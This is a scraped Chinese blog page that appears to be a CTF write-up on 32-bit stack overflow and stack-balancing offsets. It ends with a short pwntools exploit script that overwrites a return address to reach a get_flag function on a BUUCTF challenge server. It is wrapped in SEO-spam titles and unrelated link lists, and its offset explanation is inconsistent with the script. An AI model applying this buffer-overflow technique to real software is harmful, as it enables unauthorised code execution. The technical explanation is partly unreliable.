当前位置: 首页 > wzjs >正文

营销型企业网站建设的基本原则是精准营销平台

营销型企业网站建设的基本原则是,精准营销平台,整合营销公司排名,徐州网站建设多少钱栈溢出外平栈 1外平栈与内平栈的区别 外平栈: 栈帧的局部变量和返回地址之间没有额外的对齐或填充。返回地址直接位于局部变量的上方(即栈顶方向)。在计算偏移时,不需要额外加 4(因为返回地址紧邻局部变量&#xff09…

栈溢出+外平栈

1外平栈与内平栈的区别

  • 外平栈

    • 栈帧的局部变量和返回地址之间没有额外的对齐或填充。
    • 返回地址直接位于局部变量的上方(即栈顶方向)。
    • 在计算偏移时,不需要额外加 4(因为返回地址紧邻局部变量)。
  • 内平栈

    • 栈帧的局部变量和返回地址之间可能存在对齐或填充(例如,编译器为了对齐而插入的额外空间)。
    • 返回地址与局部变量之间有一定的距离。
    • 在计算偏移时,需要额外加 4(或其他值,具体取决于对齐方式)。

2. add esp, 3Ch; retn 的作用

  • add esp, 3Ch:释放栈上分配的 60 字节空间(3Ch = 60)。
  • retn:从栈顶弹出返回地址并跳转到该地址。

在漏洞利用中,这两条指令通常用于调整栈指针并返回到攻击者控制的地址。


3. 外平栈与内平栈的偏移计算

假设有以下栈布局:

外平栈布局:
+-----------------+
| 局部变量        |  <- esp + 0
+-----------------+
| 返回地址        |  <- esp + 60 (3Ch)
+-----------------+
  • 局部变量与返回地址之间没有额外空间。
  • 在计算偏移时,直接使用 offset = 60,不需要额外加 4。
内平栈布局:
+-----------------+
| 局部变量        |  <- esp + 0
+-----------------+
| 对齐填充        |  <- esp + 60 (3Ch)
+-----------------+
| 返回地址        |  <- esp + 64 (40h)
+-----------------+
  • 局部变量与返回地址之间有 4 字节的对齐填充。
  • 在计算偏移时,需要额外加 4,即 offset = 64

from pwn import *
io = remote("node5.buuoj.cn",28027)
payload = b'a'*56
# get_flag_addr:0x080489A0,exit_addr:0x0804E6A0
payload += p32(0x080489A0) + p32(0x0804E6A0) 
payload += p32(0x308CD64F) + p32(0x195719D1)
io.sendline(payload)
io.interactive()

http://www.dtcms.com/wzjs/2226.html

相关文章:

  • 吉林大学学风建设专题网站百度关键词推广网站
  • 网站建设工资一月多少百度推广热线电话
  • 北京迈程网络网站建设公司菏泽seo
  • 网站图片素材下载临沂森工木业有限公司
  • 个人网站布局下载搜狗站长平台
  • 学生个人网站建设方案书框架栏目沧州seo推广
  • 瑞丽市建设局网站怎么让百度搜出自己
  • 申报课题所需的网站怎么做宁波seo哪家好快速推广
  • ps做的网站怎么到网站上预览营销知识和技巧
  • 网站描述样本怎么注册百度账号
  • 独立站海外推广百度关键词怎么优化
  • 政府门户网站建设管理情况国际网络销售平台有哪些
  • 东莞行业网站建设锦州网站seo
  • 网站推广营销海外品牌推广
  • 云南省工程建设交易系统网站市场调研报告范文大全
  • 便宜网站设计推广普通话手抄报模板
  • 北京到安阳高铁时刻表一键优化软件
  • 新疆旅游网站建设营销型网站建设实训总结
  • 珠海网站制作专业网站如何进行优化
  • 远程教育网站建设找资源的关键词有哪些
  • 做界面的网站广州seo全网营销
  • 微商分销平台天津关键词优化网排名
  • 叫人做网站后不提供源码品牌营销理论有哪些
  • 怎么注册网自己的网站吗萝卜建站
  • 四川住房和城乡建设厅网站三类人员windows 优化大师
  • 商城网站页面模板优化搜索关键词
  • 百度手机网站优化域名查询注册商
  • 站点和网站的区别百度推广后台登陆
  • 武汉网站制作开发中国域名注册官网
  • 建广告网站需要多少钱软文推广平台排名